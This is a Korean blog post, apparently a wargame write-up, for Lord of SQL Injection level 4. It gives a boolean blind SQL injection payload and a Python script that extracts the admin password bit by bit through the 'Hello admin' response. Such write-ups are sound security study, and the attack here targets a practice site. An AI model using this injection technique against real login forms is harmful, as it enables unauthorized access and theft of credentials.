Lord of SQL Injection Level 4

buaii·2023년 8월 5일
0

Web Hacking

목록 보기
21/34

lpad
blind sql injection

여기서부터 난이도가 확 올라간 느낌이다

코드를 살펴보면 addslashes를 통해서 이스케이핑을 하고 있다
하지만, 이전에 Hello admin부분은 상관없기때문에 이걸 이용해야 한다

즉, Hello admin이 출력된다면 로그인에 성공했다는 뜻이다
이를 통해서 blind sql injection을 하고, pw를 직접 알아내서 로그인 해야한다



ord / ascii

ord는 멀티바이트
ascii는 가장 왼쪽의 8bit

https://domdom.tistory.com/245

예를 들어 UTF-8 에서 '가' 라는 문자는 11101010 10110000 10000000 로 표현됩니다.
ORD() 함수는 해당 코드를 10진수로 변환하여 15380608로 출력합니다.

만약 ASCII() 함수라면 제일 왼쪽에서 8bit(1byte)만큼만 정수로 변환하여 234(=11101010)로 출력할 것입니다.



payload

substr(lpad(bin(ord(substr(pw,{1},1))),7,0),{1},1)=1

ord와 ascii로 얻은 값을 bin 함수를 통해 이진값을 얻는다
그 후, 왼쪽에 0을 채워넣어 7bit로 만들어 준다
ascii는 7bit로 모두 표현 가능하기 때문이다

괄호 안의 숫자를 하나씩 바꿔가면서 pw를 알아내자

여기서 7bit가 아닌 24bit로 바꾸면 ascii를 넘어 unicode범위의 모든 문자를 알아낼 수 있다

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="
cookie = {'PHPSESSID':''}

# substr(lpad(bin(ord(substr(pw,1,1))),7,0),1,1)=1
payload = "' or id='admin' and substr(lpad(bin(ord(substr(pw,{},1))),7,0),{},1)=1%23"


flagbit = 0
flag = ''

i = 1
while i < 9 :
	for j in range(1, 8):
		answer = url + payload.format(i,j)
		#print(answer)
		res = requests.get(answer, cookies=cookie)		

		if 'Hello admin' in res.text:	
			flagbit += 1 << (7 - j)
		else :
			flagbit += 0 << (7 - j)
	flag += chr(flagbit)
	flagbit = 0
	print(f'pw : {flag}')
	i += 1

profile
buaii

0개의 댓글